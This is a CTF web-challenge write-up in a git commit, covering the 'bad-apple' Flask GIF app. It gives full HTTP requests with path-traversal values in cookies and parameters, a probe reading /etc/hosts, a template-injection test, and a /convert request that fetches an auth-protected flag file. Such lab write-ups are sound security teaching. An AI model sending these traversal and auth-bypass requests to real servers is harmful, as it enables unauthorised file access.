added writeups exported from ctfnote
This commit is contained in:
parent
77ed881028
commit
a37637a794
30 changed files with 1487 additions and 0 deletions
232
bad-apple-web.md
Normal file
232
bad-apple-web.md
Normal file
|
|
@ -0,0 +1,232 @@
|
|||
# bad-apple - web
|
||||
|
||||
|
||||
|
||||
## Information
|
||||
```
|
||||
-rw-rw-r-- 1 w1ntermute w1ntermute 836 Mär 18 22:19 Dockerfile
|
||||
-rw-rw-r-- 1 w1ntermute w1ntermute 631 Mär 18 22:19 httpd-append.conf
|
||||
-rwxrwxr-x 1 w1ntermute w1ntermute 6146 Mär 21 00:21 wsgi_app.py*
|
||||
```
|
||||
|
||||
|
||||
We can control user_id and filename on all routes.
|
||||
|
||||
On /upload we can control user_id to change the directory. filename is cleaned with [secure_filename](https://tedboy.github.io/flask/generated/werkzeug.secure_filename.html).
|
||||
|
||||
Under /convert user_id is cleaned with secure_filename but filename only with ` safe_name = os.path.splitext(os.path.basename(filename))[0]`
|
||||
|
||||
## Notables
|
||||
The /convert endpoint seems to construct an `input_path` variable insecurely by directly using the filename from the GET parameter without sanitization (wsgi_app.py:144).
|
||||
This looks like its later passed to the `extract_frames` function which uses it to construct a command:
|
||||
```python
|
||||
def extract_frames(input_path, output_dir, gif_name):
|
||||
|
||||
# ...
|
||||
|
||||
cmd = [
|
||||
'ffmpeg', '-i', input_path,
|
||||
'-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen',
|
||||
'-y', f'{output_dir}/palette.png'
|
||||
]
|
||||
subprocess.run(cmd, capture_output=True)
|
||||
```
|
||||
|
||||
This should grant code execution IF we can get a malicious filename past this check in line 145:
|
||||
```python
|
||||
if not os.path.exists(input_path):
|
||||
return "File not found", 404
|
||||
```
|
||||
|
||||
## extract_frames
|
||||
It uses `subprocess.run` to extract frames via ffmpeg.
|
||||
|
||||
```python
|
||||
cmd = [
|
||||
'ffmpeg', '-i', input_path,
|
||||
'-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen',
|
||||
'-y', f'{output_dir}/palette.png'
|
||||
]
|
||||
subprocess.run(cmd, capture_output=True)
|
||||
```
|
||||
## Strategy
|
||||
|
||||
With /uploads we can upload a file to every path we want.
|
||||
|
||||
|
||||
|
||||
So with /uploads we can upload arbitrary files.
|
||||
```http=
|
||||
POST /upload HTTP/1.1
|
||||
Host: bad-apple.tamuctf.com
|
||||
Cookie: user_id=../static/frames/test/{{7*7}}
|
||||
Content-Length: 190
|
||||
Sec-Ch-Ua-Platform: "Linux"
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
|
||||
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeAEo5u9BrAwBXC9D
|
||||
Sec-Ch-Ua-Mobile: ?0
|
||||
Accept: */*
|
||||
Origin: https://bad-apple.tamuctf.com
|
||||
Sec-Fetch-Site: same-origin
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Dest: empty
|
||||
Referer: https://bad-apple.tamuctf.com/
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
|
||||
Priority: u=1, i
|
||||
Connection: keep-alive
|
||||
|
||||
------WebKitFormBoundaryeAEo5u9BrAwBXC9D
|
||||
Content-Disposition: form-data; name="file"; filename="frame_1.png"
|
||||
Content-Type: image/png
|
||||
|
||||
test
|
||||
|
||||
------WebKitFormBoundaryeAEo5u9BrAwBXC9D--
|
||||
```
|
||||
And this gets rendered as one frame in the UI.
|
||||
|
||||
|
||||
## convert
|
||||
```http=
|
||||
GET /convert?user_id=24720472&filename=SmallFullColourGIF.gif HTTP/1.1
|
||||
Host: bad-apple.tamuctf.com
|
||||
Cookie: user_id=24720472
|
||||
Cache-Control: max-age=0
|
||||
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
|
||||
Sec-Ch-Ua-Mobile: ?0
|
||||
Sec-Ch-Ua-Platform: "Linux"
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Sec-Fetch-Site: none
|
||||
Sec-Fetch-Mode: navigate
|
||||
Sec-Fetch-User: ?1
|
||||
Sec-Fetch-Dest: document
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
|
||||
Priority: u=0, i
|
||||
Connection: keep-alive
|
||||
```
|
||||
gives you
|
||||
|
||||
```http=
|
||||
HTTP/1.1 302 FOUND
|
||||
Server: nginx/1.24.0 (Ubuntu)
|
||||
Date: Sat, 21 Mar 2026 15:24:16 GMT
|
||||
Content-Type: text/html; charset=utf-8
|
||||
Content-Length: 279
|
||||
Connection: keep-alive
|
||||
Location: /?view=SmallFullColourGIF&user_id=24720472
|
||||
|
||||
<!doctype html>
|
||||
<html lang=en>
|
||||
<title>Redirecting...</title>
|
||||
<h1>Redirecting...</h1>
|
||||
<p>You should be redirected automatically to the target URL: <a href="/?view=SmallFullColourGIF&user_id=24720472">/?view=SmallFullColourGIF&user_id=24720472</a>. If not, click the link.
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
# Endpoints
|
||||
|
||||
Per endpoint:
|
||||
- input
|
||||
- output
|
||||
|
||||
## /
|
||||
|
||||
input
|
||||
- user_id
|
||||
- not sanitized, set by cookie
|
||||
- view_gif = request.args.get('view')
|
||||
- not sanitized, set by arg
|
||||
- view_user_id = request.args.get('view_user_id', user_id)
|
||||
- not sanitized, set by arg
|
||||
|
||||
|
||||
Because of ` if f.startswith("frame_") and f.endswith(".png")` it looks like there is no file inclusion here.
|
||||
|
||||
`render_template()` takes unsaitized `user_id` as argument. This is reflected in template, but it looks like this is not template injectable.
|
||||
|
||||
|
||||
## /upload
|
||||
|
||||
inputs
|
||||
- `filename = secure_filename(file.filename)`
|
||||
- probably secure
|
||||
- `user_id = request.cookies.get("user_id")`
|
||||
- insecure, not sanitized, set by cookie
|
||||
- `user_dir = os.path.join(app.config["UPLOAD_FOLDER"], user_id)`
|
||||
- might be traversable, but folder has to exist
|
||||
- `filepath = os.path.join(user_dir, filename)`
|
||||
- might overwrite files, when dir exists??
|
||||
- `safe_name = os.path.splitext(os.path.basename(filename))[0]`
|
||||
- no traversal here
|
||||
- `output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)`
|
||||
- might be traversable
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
- Server error on existance: https://bad-apple.tamuctf.com/get_frames?user_id=..&gif_name=../../../../etc/hosts
|
||||
- https://bad-apple.tamuctfyp.com/get_frames?user_id=..&gif_name=../../../../etc/asdf
|
||||
|
||||
|
||||
## Solution
|
||||
Over /browse you can see the flag filename. With this, you can call convert.
|
||||
```
|
||||
GET /convert?user_id=admin&filename=/srv/http/uploads/admin/e017b6321bda6812ec80e9fac368709e-flag.gif HTTP/1.1
|
||||
Host: bad-apple.tamuctf.com
|
||||
Cookie: user_id=24720472
|
||||
Cache-Control: max-age=0
|
||||
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
|
||||
Sec-Ch-Ua-Mobile: ?0
|
||||
Sec-Ch-Ua-Platform: "Linux"
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Sec-Fetch-Site: none
|
||||
Sec-Fetch-Mode: navigate
|
||||
Sec-Fetch-User: ?1
|
||||
Sec-Fetch-Dest: document
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
|
||||
Priority: u=0, i
|
||||
Connection: keep-alive
|
||||
```
|
||||
|
||||
After this, go to / as user_id=admin. Now you should be able to select the flag file. The gif shows you the flag.
|
||||
|
||||
This was only possible because, the httpd config enabled directory listing.
|
||||
```
|
||||
<VirtualHost *:80>
|
||||
WSGIScriptAlias / /srv/app/wsgi_app.py
|
||||
|
||||
<Directory /srv/app>
|
||||
Require all granted
|
||||
</Directory>
|
||||
|
||||
Alias /browse /srv/http/uploads
|
||||
<Directory /srv/http/uploads>
|
||||
Options +Indexes
|
||||
DirectoryIndex disabled
|
||||
IndexOptions FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* ShowForbidden
|
||||
AllowOverride None
|
||||
Require all granted
|
||||
|
||||
<FilesMatch "\.gif$">
|
||||
AuthType Basic
|
||||
AuthName "Admin Area"
|
||||
AuthUserFile /srv/http/.htpasswd
|
||||
Require valid-user
|
||||
</FilesMatch>
|
||||
</Directory>
|
||||
</VirtualHost>
|
||||
|
||||
```
|
||||
|
||||
Important is the Options +Indexes. This enables the index
|
||||
Loading…
Add table
Add a link
Reference in a new issue